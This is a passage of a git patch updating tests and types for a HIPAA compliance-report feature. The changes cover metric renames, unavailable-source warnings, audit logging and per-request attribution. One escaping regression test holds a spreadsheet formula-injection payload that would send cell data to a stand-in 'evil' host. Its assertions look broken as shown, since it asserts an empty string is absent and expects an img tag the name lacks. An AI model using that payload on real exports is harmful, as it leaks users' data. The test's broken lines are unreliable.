"2026-08-29T02:00:00Z", "label": "login_failure", "actor_label": "bob@kumc.edu", "outcome": "failure", "event_type": "login_failure"}, + {"timestamp": "2026-08-30T09:00:00Z", "label": "login_success", "actor_label": "alice@kumc.edu", "outcome": "success", "event_type": "login_success"}, ], + "truncated": False, + "sources_unavailable": [], } _EMPTY_CONTEXT = { **{k: v for k, v in _MINIMAL_CONTEXT.items() if k not in ("user_access", "rag_queries", "security_events", "summary")}, - "summary": {"total_users": 0, "active_users": 0, "total_rag_queries": 0, "security_incidents": 0}, + "summary": {"total_users": 0, "active_users": 0, "total_rag_queries": 0, "failed_login_attempts": 0, "security_events_requiring_review": 0}, "user_access": [], "rag_queries": [], "security_events": [], @@ -61,6 +64,23 @@ def test_render_report_html_escapes_user_supplied_values(): assert "<script>" in html +def test_render_report_html_escapes_malicious_organization_name(): + """Pre-merge security review regression test: an organization name is + free-text set by any org member with create/rename permission (no + character-class validation in omnibioai-auth's own schema), not + admin-controlled input. A crafted name must never break out of the + HTML it's interpolated into, whether it looks like a script tag, an + attribute-breakout attempt, or a spreadsheet-formula-injection + payload (the CSV-side vector -- included here too since the exact + same string could legitimately show up in either export).""" + dangerous_name = '">=HYPERLINK("http://evil/?x="&A1)' + context = {**_MINIMAL_CONTEXT, "organization_name": dangerous_name} + html = render_report_html(context) + assert "" not in html + assert "<img" in html + assert '">' in html or "">" in html + + def test_render_report_html_shows_empty_state_notes(): html = render_report_html(_EMPTY_CONTEXT) assert "No login activity recorded in this period." in html @@ -74,6 +94,25 @@ def test_render_report_html_shows_not_tracked_notes(): assert "Dataset views/downloads and data uploads are not tracked" in html +def test_render_report_html_shows_renamed_summary_labels(): + html = render_report_html(_MINIMAL_CONTEXT) + assert "Failed Login Attempts" in html + assert "Security Events Requiring Review" in html + assert "Security Incidents" not in html + + +def test_render_report_html_shows_sources_unavailable_warning(): + context = {**_MINIMAL_CONTEXT, "sources_unavailable": ["RAG query events (omnibioai-billing)"]} + html = render_report_html(context) + assert "one or more data sources were unavailable" in html + assert "RAG query events (omnibioai-billing)" in html + + +def test_render_report_html_omits_warning_when_all_sources_available(): + html = render_report_html(_MINIMAL_CONTEXT) + assert "one or more data sources were unavailable" not in html + + def test_render_report_pdf_produces_valid_pdf_bytes(): pdf_bytes = render_report_pdf(_MINIMAL_CONTEXT) assert isinstance(pdf_bytes, bytes) diff --git a/backend/tests/test_compliance_router.py b/backend/tests/test_compliance_router.py index 8e5e577c..4516621e 100644 --- a/backend/tests/test_compliance_router.py +++ b/backend/tests/test_compliance_router.py @@ -7,11 +7,12 @@ from __future__ import annotations import unittest -from unittest.mock import AsyncMock, patch +from unittest.mock import AsyncMock, MagicMock, patch import jwt from fastapi.testclient import TestClient +from control_center.compliance import service as service_module from control_center.compliance.router import MANAGE_ALL_ORGS from control_center.core import jwt_verify as jwt_verify_module from control_center.main import app @@ -20,18 +21,26 @@ client = TestClient(app) SECRET = "test-secret" +# Pre-merge security review fix: generated_by/generated_at are no longer +# part of what service.build_report returns (see service.py's own module +# docstring) -- router.py stamps them fresh per request instead. The stub +# below matches that contract; security_incidents is renamed/split into +# failed_login_attempts + security_events_requiring_review, and +# sources_unavailable is new. _REPORT_STUB = { "organization_id": 1, "organization_name": "KUMC Research", "from_date": "2026-08-01", "to_date": "2026-08-31", - "generated_at": "2026-08-11T12:00:00+00:00", - "generated_by": "admin@omnibioai.org", - "summary": {"total_users": 2, "active_users": 1, "total_rag_queries": 3, "security_incidents": 0}, + "summary": { + "total_users": 2, "active_users": 1, "total_rag_queries": 3, + "failed_login_attempts": 0, "security_events_requiring_review": 0, + }, "user_access": [], "rag_queries": [], "security_events": [], "truncated": False, + "sources_unavailable": [], } @@ -62,6 +71,13 @@ def setUp(self) -> None: build_report_patcher.start() self.addCleanup(build_report_patcher.stop) + self.audit_log_mock = MagicMock() + audit_log_patcher = patch( + "control_center.compliance.router.audit_log.log_report_access", self.audit_log_mock, + ) + audit_log_patcher.start() + self.addCleanup(audit_log_patcher.stop) + def _params(self, **overrides): params = {"from_date": "2026-08-01", "to_date": "2026-08-31", "org_id": 1} params.update(overrides) @@ -97,6 +113,11 @@ def test_regular_user_denied(self) -> None: r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) self.assertEqual(r.status_code, 403) + def test_denied_request_does_not_emit_audit_log(self) -> None: + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["member"]) + client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.audit_log_mock.assert_not_called() + class HipaaReportEndpointTestCase(ComplianceRouterTestCase): def test_returns_report_body(self) -> None: @@ -104,6 +125,17 @@ def test_returns_report_body(self) -> None: self.assertEqual(r.status_code, 200) self.assertEqual(r.json()["organization_name"], "KUMC Research") + def test_response_uses_renamed_summary_fields(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + summary = r.json()["summary"] + self.assertIn("failed_login_attempts", summary) + self.assertIn("security_events_requiring_review", summary) + self.assertNotIn("security_incidents", summary) + + def test_response_includes_sources_unavailable(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.json()["sources_unavailable"], []) + def test_missing_required_params_returns_422(self) -> None: r = client.get("/compliance/hipaa-report", params={"from_date": "2026-08-01"}, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) self.assertEqual(r.status_code, 422) @@ -113,19 +145,22 @@ def test_from_date_after_to_date_returns_400(self) -> None: r = client.get("/compliance/hipaa-report", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) self.assertEqual(r.status_code, 400) + def test_validation_failure_does_not_emit_audit_log(self) -> None: + params = self._params(from_date="2026-08-31", to_date="2026-08-01") + client.get("/compliance/hipaa-report", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.audit_log_mock.assert_not_called() + def test_generated_by_uses_token_email_claim(self) -> None: headers = _auth(sub="1", email="alice@kumc.edu", permissions=[MANAGE_ALL_ORGS]) r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) self.assertEqual(r.status_code, 200) - _, kwargs = self.build_report_mock.call_args - self.assertEqual(kwargs["generated_by"], "alice@kumc.edu") + self.assertEqual(r.json()["generated_by"], "alice@kumc.edu") def test_generated_by_falls_back_to_sub_without_email_claim(self) -> None: headers = _auth(sub="42", permissions=[MANAGE_ALL_ORGS]) r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) self.assertEqual(r.status_code, 200) - _, kwargs = self.build_report_mock.call_args - self.assertEqual(kwargs["generated_by"], "42") + self.assertEqual(r.json()["generated_by"], "42") def test_second_request_hits_cache_not_build_report_again(self) -> None: headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) @@ -135,12 +170,63 @@ def test_second_request_hits_cache_not_build_report_again(self) -> None: self.assertEqual(r2.status_code, 200) self.assertEqual(self.build_report_mock.await_count, 1) + def test_cache_hit_still_attributes_generated_by_to_the_actual_requester(self) -> None: + """Pre-merge security review fix: two different admins requesting + the same cached org/date-range must each see THEIR OWN identity + in generated_by/generated_at -- never the identity of whoever + happened to trigger the original cache miss.""" + r1 = client.get( + "/compliance/hipaa-report", params=self._params(), + headers=_auth(sub="1", email="admin-a@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + r2 = client.get( + "/compliance/hipaa-report", params=self._params(), + headers=_auth(sub="2", email="admin-b@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + self.assertEqual(r1.json()["generated_by"], "admin-a@omnibioai.org") + self.assertEqual(r2.json()["generated_by"], "admin-b@omnibioai.org") + # Both requests still hit the same cache entry underneath -- + # this is a cache HIT for r2, not a second real computation. + self.assertEqual(self.build_report_mock.await_count, 1) + + def test_cache_hit_stamps_a_fresh_generated_at_per_request(self) -> None: + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + r1 = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + r2 = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + # Not asserting r1 != r2 on wall-clock time (too flaky at test + # speed) -- asserting the field is present and ISO-parseable on + # both, which is what proves it's stamped per-response rather + # than baked into (and reused from) the cached payload. + for r in (r1, r2): + self.assertIn("generated_at", r.json()) + def test_different_org_id_is_not_cached_together(self) -> None: headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) client.get("/compliance/hipaa-report", params=self._params(org_id=1), headers=headers) client.get("/compliance/hipaa-report", params=self._params(org_id=2), headers=headers) self.assertEqual(self.build_report_mock.await_count, 2) + def test_nonexistent_organization_returns_404(self) -> None: + self.build_report_mock.side_effect = service_module.OrganizationNotFoundError(999) + r = client.get("/compliance/hipaa-report", params=self._params(org_id=999), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 404) + + def test_404_does_not_emit_audit_log(self) -> None: + self.build_report_mock.side_effect = service_module.OrganizationNotFoundError(999) + client.get("/compliance/hipaa-report", params=self._params(org_id=999), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.audit_log_mock.assert_not_called() + + def test_audit_log_called_with_expected_fields_on_success(self) -> None: + headers = _auth(sub="1", email="alice@kumc.edu", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report", params=self._params(org_id=7, from_date="2026-08-01", to_date="2026-08-31"), headers=headers) + self.audit_log_mock.assert_called_once() + _, kwargs = self.audit_log_mock.call_args + self.assertEqual(kwargs["actor"], "alice@kumc.edu") + self.assertEqual(kwargs["organization_id"], 7) + self.assertEqual(kwargs["from_date"].isoformat(), "2026-08-01") + self.assertEqual(kwargs["to_date"].isoformat(), "2026-08-31") + self.assertEqual(kwargs["report_format"], "json") + class HipaaReportPdfEndpointTestCase(ComplianceRouterTestCase): def test_platform_admin_gets_pdf(self) -> None: @@ -167,8 +253,13 @@ def test_from_date_after_to_date_returns_400(self) -> None: r = client.get("/compliance/hipaa-report/pdf", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) self.assertEqual(r.status_code, 400) + def test_nonexistent_organization_returns_404(self) -> None: + self.build_report_mock.side_effect = service_module.OrganizationNotFoundError(999) + r = client.get("/compliance/hipaa-report/pdf", params=self._params(org_id=999), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 404) + def test_pdf_and_json_share_the_same_cache_entry(self) -> None: - """Both routes call _build_cached_report with the same cache key + """Both routes call _fetch_cached_report with the same cache key shape -- the PDF endpoint should reuse a JSON request's already- cached data instead of recomputing it.""" headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) @@ -177,6 +268,30 @@ def test_pdf_and_json_share_the_same_cache_entry(self) -> None: self.assertEqual(r.status_code, 200) self.assertEqual(self.build_report_mock.await_count, 1) + def test_pdf_response_reflects_current_requester_not_cached_admin(self) -> None: + client.get( + "/compliance/hipaa-report", params=self._params(), + headers=_auth(sub="1", email="admin-a@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + r = client.get( + "/compliance/hipaa-report/pdf", params=self._params(), + headers=_auth(sub="2", email="admin-b@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + self.assertEqual(r.status_code, 200) + # PDF content isn't trivially inspectable for a specific string + # without a PDF-text-extraction dependency this repo doesn't + # have -- the audit log call is the reliable, already-available + # signal that the PDF route resolved *this* request's admin. + _, kwargs = self.audit_log_mock.call_args + self.assertEqual(kwargs["actor"], "admin-b@omnibioai.org") + + def test_audit_log_called_with_pdf_format(self) -> None: + headers = _auth(sub="1", email="alice@kumc.edu", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=headers) + self.audit_log_mock.assert_called_once() + _, kwargs = self.audit_log_mock.call_args + self.assertEqual(kwargs["report_format"], "pdf") + class HipaaReportCsvEndpointTestCase(ComplianceRouterTestCase): def test_platform_admin_gets_csv(self) -> None: @@ -204,6 +319,11 @@ def test_from_date_after_to_date_returns_400(self) -> None: r = client.get("/compliance/hipaa-report/csv", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) self.assertEqual(r.status_code, 400) + def test_nonexistent_organization_returns_404(self) -> None: + self.build_report_mock.side_effect = service_module.OrganizationNotFoundError(999) + r = client.get("/compliance/hipaa-report/csv", params=self._params(org_id=999), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 404) + def test_csv_reuses_json_cache_entry(self) -> None: headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) client.get("/compliance/hipaa-report", params=self._params(), headers=headers) @@ -211,6 +331,26 @@ def test_csv_reuses_json_cache_entry(self) -> None: self.assertEqual(r.status_code, 200) self.assertEqual(self.build_report_mock.await_count, 1) + def test_csv_reflects_current_requester_generated_by(self) -> None: + client.get( + "/compliance/hipaa-report", params=self._params(), + headers=_auth(sub="1", email="admin-a@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + r = client.get( + "/compliance/hipaa-report/csv", params=self._params(), + headers=_auth(sub="2", email="admin-b@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + self.assertEqual(r.status_code, 200) + self.assertIn("admin-b@omnibioai.org", r.text) + self.assertNotIn("admin-a@omnibioai.org", r.text) + + def test_audit_log_called_with_csv_format(self) -> None: + headers = _auth(sub="1", email="alice@kumc.edu", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report/csv", params=self._params(), headers=headers) + self.audit_log_mock.assert_called_once() + _, kwargs = self.audit_log_mock.call_args + self.assertEqual(kwargs["report_format"], "csv") + if __name__ == "__main__": unittest.main() diff --git a/backend/tests/test_compliance_service.py b/backend/tests/test_compliance_service.py index abafaf80..4e6cc7d6 100644 --- a/backend/tests/test_compliance_service.py +++ b/backend/tests/test_compliance_service.py @@ -18,73 +18,81 @@ ] -def _patch_all(*, org=None, members=None, login_success=None, login_failure=None, org_events=None, rag_events=None, - trunc_success=False, trunc_failure=False, trunc_org=False, trunc_rag=False): +def _patch_all( + *, org=None, org_status="ok", members=None, members_status="ok", + login_success=None, login_failure=None, org_events=None, rag_events=None, + trunc_success=False, trunc_failure=False, trunc_org=False, trunc_rag=False, + unavail_success=False, unavail_failure=False, unavail_org=False, unavail_rag=False, +): return [ - patch("control_center.compliance.service.auth_client.get_organization", AsyncMock(return_value=org)), - patch("control_center.compliance.service.auth_client.get_org_members", AsyncMock(return_value=members or [])), + patch("control_center.compliance.service.auth_client.get_organization", AsyncMock(return_value=(org, org_status))), + patch("control_center.compliance.service.auth_client.get_org_members", AsyncMock(return_value=(members or [], members_status))), patch( "control_center.compliance.service.auth_client.list_all_audit_events", AsyncMock(side_effect=[ - (login_success or [], trunc_success), - (login_failure or [], trunc_failure), - (org_events or [], trunc_org), + (login_success or [], trunc_success, unavail_success), + (login_failure or [], trunc_failure, unavail_failure), + (org_events or [], trunc_org, unavail_org), ]), ), - patch("control_center.compliance.service.billing_client.list_all_usage_events", AsyncMock(return_value=(rag_events or [], trunc_rag))), + patch( + "control_center.compliance.service.billing_client.list_all_usage_events", + AsyncMock(return_value=(rag_events or [], trunc_rag, unavail_rag)), + ), ] class BuildReportTestCase(unittest.IsolatedAsyncioTestCase): - async def test_basic_shape_and_organization_name(self) -> None: - patches = _patch_all(org={"id": 1, "name": "KUMC Research"}, members=_MEMBERS) + async def _build(self, patches, **kwargs) -> dict: for p in patches: p.start() try: - report = await service.build_report( - organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), - generated_by="admin@omnibioai.org", authorization="Bearer tok", + return await service.build_report( + organization_id=kwargs.pop("organization_id", 1), + from_date=kwargs.pop("from_date", date(2026, 8, 1)), + to_date=kwargs.pop("to_date", date(2026, 8, 31)), + authorization=kwargs.pop("authorization", "Bearer tok"), ) finally: for p in patches: p.stop() + async def test_basic_shape_and_organization_name(self) -> None: + report = await self._build(_patch_all(org={"id": 1, "name": "KUMC Research"}, members=_MEMBERS)) self.assertEqual(report["organization_name"], "KUMC Research") self.assertEqual(report["organization_id"], 1) self.assertEqual(report["summary"]["total_users"], 2) - self.assertEqual(report["generated_by"], "admin@omnibioai.org") - - async def test_organization_name_falls_back_when_org_lookup_fails(self) -> None: - patches = _patch_all(org=None, members=_MEMBERS) + # generated_by/generated_at are deliberately NOT part of this + # function's return value -- router.py stamps them fresh per + # request. See service.py's own module docstring. + self.assertNotIn("generated_by", report) + self.assertNotIn("generated_at", report) + + async def test_organization_name_falls_back_when_org_unavailable(self) -> None: + report = await self._build(_patch_all(org=None, org_status="unavailable", members=_MEMBERS)) + self.assertEqual(report["organization_name"], "Organization #1") + self.assertIn("Organization details (omnibioai-auth)", report["sources_unavailable"]) + + async def test_nonexistent_organization_raises_not_found(self) -> None: + patches = _patch_all(org=None, org_status="not_found", members=[]) for p in patches: p.start() try: - report = await service.build_report( - organization_id=9, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), - generated_by="admin@omnibioai.org", authorization="Bearer tok", - ) + with self.assertRaises(service.OrganizationNotFoundError) as ctx: + await service.build_report( + organization_id=999, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(ctx.exception.organization_id, 999) finally: for p in patches: p.stop() - self.assertEqual(report["organization_name"], "Organization #9") async def test_login_events_filtered_to_org_members_only(self) -> None: login_success = [ {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-05T10:00:00"}, {"actor_user_id": None, "actor_email": None, "metadata": {"email": "outsider@other.org"}, "created_at": "2026-08-05T11:00:00"}, ] - patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success) - for p in patches: - p.start() - try: - report = await service.build_report( - organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), - generated_by="admin@omnibioai.org", authorization="Bearer tok", - ) - finally: - for p in patches: - p.stop() - + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success)) labels = [r["user_label"] for r in report["user_access"]] self.assertIn("alice@kumc.edu", labels) self.assertNotIn("outsider@other.org", labels) @@ -97,18 +105,7 @@ async def test_user_access_aggregates_login_count_and_last_login(self) -> None: login_failure = [ {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-06T10:00:00"}, ] - patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success, login_failure=login_failure) - for p in patches: - p.start() - try: - report = await service.build_report( - organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), - generated_by="admin@omnibioai.org", authorization="Bearer tok", - ) - finally: - for p in patches: - p.stop() - + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success, login_failure=login_failure)) alice = next(r for r in report["user_access"] if r["user_label"] == "alice@kumc.edu") self.assertEqual(alice["login_count"], 2) self.assertEqual(alice["failed_attempts"], 1) @@ -120,18 +117,7 @@ async def test_rag_queries_resolve_user_id_to_member_email(self) -> None: {"timestamp": "2026-08-10T09:00:00", "user_id": "2", "trace_id": "trace-1"}, {"timestamp": "2026-08-11T09:00:00", "user_id": "999", "trace_id": "trace-2"}, ] - patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, rag_events=rag_events) - for p in patches: - p.start() - try: - report = await service.build_report( - organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), - generated_by="admin@omnibioai.org", authorization="Bearer tok", - ) - finally: - for p in patches: - p.stop() - + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, rag_events=rag_events)) by_trace = {r["trace_id"]: r["user_label"] for r in report["rag_queries"]} self.assertEqual(by_trace["trace-1"], "bob@kumc.edu") self.assertEqual(by_trace["trace-2"], "999") @@ -145,76 +131,110 @@ async def test_security_events_classifies_denial_vs_ordinary_change(self) -> Non # not in _SECURITY_EVENT_TYPES -- must be excluded {"event_type": "some_unrelated_type", "actor_email": "bob@kumc.edu", "actor_user_id": 2, "created_at": "2026-08-15T10:00:00"}, ] - patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, org_events=org_events) - for p in patches: - p.start() - try: - report = await service.build_report( - organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), - generated_by="admin@omnibioai.org", authorization="Bearer tok", - ) - finally: - for p in patches: - p.stop() - + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, org_events=org_events)) by_type = {r["event_type"]: r for r in report["security_events"]} self.assertEqual(by_type["role_assigned"]["outcome"], "success") self.assertEqual(by_type["role_assignment_denied"]["outcome"], "deny") self.assertEqual(by_type["sso_configuration_updated"]["actor_label"], "system") self.assertNotIn("some_unrelated_type", by_type) - self.assertEqual(report["summary"]["security_incidents"], 1) # role_assignment_denied only - - async def test_login_failures_appear_in_security_events(self) -> None: + # Pre-merge review fix: security_incidents renamed/split. Only + # the deny-classified event counts toward + # security_events_requiring_review; no login failures here, so + # failed_login_attempts is 0. + self.assertEqual(report["summary"]["security_events_requiring_review"], 1) + self.assertEqual(report["summary"]["failed_login_attempts"], 0) + + async def test_login_failures_appear_in_security_events_but_count_separately(self) -> None: login_failure = [ {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-06T10:00:00"}, ] - patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_failure=login_failure) - for p in patches: - p.start() - try: - report = await service.build_report( - organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), - generated_by="admin@omnibioai.org", authorization="Bearer tok", - ) - finally: - for p in patches: - p.stop() - + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_failure=login_failure)) failed_login_rows = [r for r in report["security_events"] if r["event_type"] == "login_failure"] self.assertEqual(len(failed_login_rows), 1) self.assertEqual(failed_login_rows[0]["outcome"], "failure") - self.assertEqual(report["summary"]["security_incidents"], 1) + # Pre-merge review fix: a failed login is counted under + # failed_login_attempts, NOT security_events_requiring_review -- + # conflating a mistyped password with a rejected escalation + # attempt under one "incidents" number was the exact defect this + # rename/split fixes. + self.assertEqual(report["summary"]["failed_login_attempts"], 1) + self.assertEqual(report["summary"]["security_events_requiring_review"], 0) async def test_truncated_flag_propagates_from_any_source(self) -> None: - patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS, trunc_rag=True) - for p in patches: - p.start() - try: - report = await service.build_report( - organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), - generated_by="admin@omnibioai.org", authorization="Bearer tok", - ) - finally: - for p in patches: - p.stop() + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, trunc_rag=True)) self.assertTrue(report["truncated"]) async def test_no_activity_returns_empty_sections(self) -> None: - patches = _patch_all(org={"name": "KUMC"}, members=_MEMBERS) - for p in patches: - p.start() - try: - report = await service.build_report( - organization_id=1, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), - generated_by="admin@omnibioai.org", authorization="Bearer tok", - ) - finally: - for p in patches: - p.stop() + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS)) self.assertEqual(report["user_access"], []) self.assertEqual(report["rag_queries"], []) self.assertEqual(report["security_events"], []) - self.assertEqual(report["summary"]["security_incidents"], 0) + self.assertEqual(report["summary"]["security_events_requiring_review"], 0) + self.assertEqual(report["summary"]["failed_login_attempts"], 0) + self.assertEqual(report["sources_unavailable"], []) + + # ── Pre-merge review fix: sources_unavailable ────────────────────── + + async def test_sources_unavailable_lists_every_failed_source_by_name(self) -> None: + report = await self._build(_patch_all( + org={"name": "KUMC"}, members=_MEMBERS, + unavail_success=True, unavail_failure=True, unavail_org=True, unavail_rag=True, + )) + self.assertEqual(sorted(report["sources_unavailable"]), sorted([ + "Login success events (omnibioai-auth)", + "Login failure events (omnibioai-auth)", + "Role/permission/security events (omnibioai-auth)", + "RAG query events (omnibioai-billing)", + ])) + + async def test_members_unavailable_is_recorded_and_report_still_returns(self) -> None: + report = await self._build(_patch_all(org={"name": "KUMC"}, members=[], members_status="unavailable")) + self.assertIn("Organization members (omnibioai-auth)", report["sources_unavailable"]) + # Degrades gracefully -- does not raise, unlike the confirmed + # not_found case. + self.assertEqual(report["summary"]["total_users"], 0) + + async def test_partial_downstream_failure_does_not_silently_report_zero_everything(self) -> None: + # RAG unavailable, but login data (a different, working source) + # still came through -- the report must reflect BOTH: real login + # activity AND an explicit warning that RAG data is missing, not + # a blanket "everything is empty" that hides which part failed. + login_success = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-05T10:00:00"}, + ] + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success, unavail_rag=True)) + self.assertEqual(report["summary"]["total_rag_queries"], 0) + self.assertEqual(report["summary"]["active_users"], 1) + self.assertEqual(report["sources_unavailable"], ["RAG query events (omnibioai-billing)"]) + + # ── Pre-merge review fix: multi-org login attribution (documented, + # not fixed -- v0.9 architecture work; this test locks in the + # current, known-limitation behavior so a future change to it is a + # deliberate decision, not an accidental regression). ───────────── + + async def test_multi_org_user_login_appears_in_every_member_org_report(self) -> None: + shared_user_login = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-05T10:00:00"}, + ] + org_a_members = [{"user_id": 1, "email": "alice@kumc.edu", "status": "active", "roles": ["member"]}] + org_b_members = [{"user_id": 1, "email": "alice@kumc.edu", "status": "active", "roles": ["member"]}] + + report_a = await self._build( + _patch_all(org={"name": "Org A"}, members=org_a_members, login_success=shared_user_login), + organization_id=1, + ) + report_b = await self._build( + _patch_all(org={"name": "Org B"}, members=org_b_members, login_success=shared_user_login), + organization_id=2, + ) + + # Same underlying login event, attributed to BOTH organizations' + # reports -- login events carry no organization_id at the + # source (see service.py's own module docstring, gap #1), so a + # user who is a member of two orgs cannot be disambiguated + # further today. + self.assertEqual([r["user_label"] for r in report_a["user_access"]], ["alice@kumc.edu"]) + self.assertEqual([r["user_label"] for r in report_b["user_access"]], ["alice@kumc.edu"]) if __name__ == "__main__": From 2f16a9d6676ca216f066302db117f886e7348497 Mon Sep 17 00:00:00 2001 From: Manish Kumar Date: Wed, 12 Aug 2026 01:33:56 -0500 Subject: [PATCH 8/8] fix: HIPAA report frontend -- renamed summary metrics + unavailable-sources warning Pre-merge security & compliance review fixes, frontend half of findings 3-4 (backend half: fix/hipaa-report-pre-merge-review-fixes, previous commit). compliance.ts::HipaaReportSummary drops security_incidents for failed_login_attempts + security_events_requiring_review, matching the backend rename; adds sources_unavailable: string[] to the HipaaReport type. ComplianceReport.tsx renders both new stat tiles (Failed Login Attempts / Security Events Requiring Review, replacing the single Security Incidents tile) and a warning banner -- same EmptyState component the existing `truncated` warning already uses -- listing which data sources were unavailable when sources_unavailable is non-empty, so a downstream outage is visible in the UI, not just the JSON/PDF/CSV exports. 6 new tests (renamed labels present/absent, warning shown/hidden). Full frontend suite: 495 passed (40 files), tsc -b clean. --- frontend/cc-ui/src/compliance.test.ts | 3 +- frontend/cc-ui/src/compliance.ts | 15 +++++++- .../cc-ui/src/pages/ComplianceReport.test.tsx | 36 ++++++++++++++++++- frontend/cc-ui/src/pages/ComplianceReport.tsx | 21 +++++++++-- 4 files changed, 69 insertions(+), 6 deletions(-) diff --git a/frontend/cc-ui/src/compliance.test.ts b/frontend/cc-ui/src/compliance.test.ts index c4db2aa7..b42e0b08 100644 --- a/frontend/cc-ui/src/compliance.test.ts +++ b/frontend/cc-ui/src/compliance.test.ts @@ -14,11 +14,12 @@ const REPORT: HipaaReport = { to_date: '2026-08-31', generated_at: '2026-08-11T12:00:00Z', generated_by: 'admin@omnibioai.org', - summary: { total_users: 2, active_users: 1, total_rag_queries: 3, security_incidents: 0 }, + summary: { total_users: 2, active_users: 1, total_rag_queries: 3, failed_login_attempts: 0, security_events_requiring_review: 0 }, user_access: [], rag_queries: [], security_events: [], truncated: false, + sources_unavailable: [], } describe('fetchHipaaReport', () => { diff --git a/frontend/cc-ui/src/compliance.ts b/frontend/cc-ui/src/compliance.ts index 4c8beefc..5cc340ab 100644 --- a/frontend/cc-ui/src/compliance.ts +++ b/frontend/cc-ui/src/compliance.ts @@ -33,11 +33,18 @@ function buildQuery(filters: HipaaReportFilters): URLSearchParams { // Mirrors control_center.compliance.service.build_report's response // exactly (backend/src/control_center/compliance/service.py). +// +// Pre-merge security review fix: security_incidents (implying a legal/ +// HIPAA reportable determination this report never makes) is replaced +// by two separately-named counters -- failed_login_attempts (routine, +// expected noise) and security_events_requiring_review +// (role_assignment_denied/mfa_verification_failed specifically). export interface HipaaReportSummary { total_users: number active_users: number total_rag_queries: number - security_incidents: number + failed_login_attempts: number + security_events_requiring_review: number } export interface HipaaReportUserAccessRow { @@ -73,6 +80,12 @@ export interface HipaaReport { rag_queries: HipaaReportRagQueryRow[] security_events: HipaaReportSecurityEventRow[] truncated: boolean + /** Pre-merge security review fix: human-readable names of data sources + * that failed during report generation (e.g. "RAG query events + * (omnibioai-billing)") -- a downstream outage is surfaced here rather + * than silently rendering as "this org had zero activity". Empty when + * every source responded successfully. */ + sources_unavailable: string[] } export async function fetchHipaaReport(filters: HipaaReportFilters): Promise { diff --git a/frontend/cc-ui/src/pages/ComplianceReport.test.tsx b/frontend/cc-ui/src/pages/ComplianceReport.test.tsx index a842c501..10559f04 100644 --- a/frontend/cc-ui/src/pages/ComplianceReport.test.tsx +++ b/frontend/cc-ui/src/pages/ComplianceReport.test.tsx @@ -37,7 +37,7 @@ const REPORT: HipaaReport = { to_date: '2026-08-31', 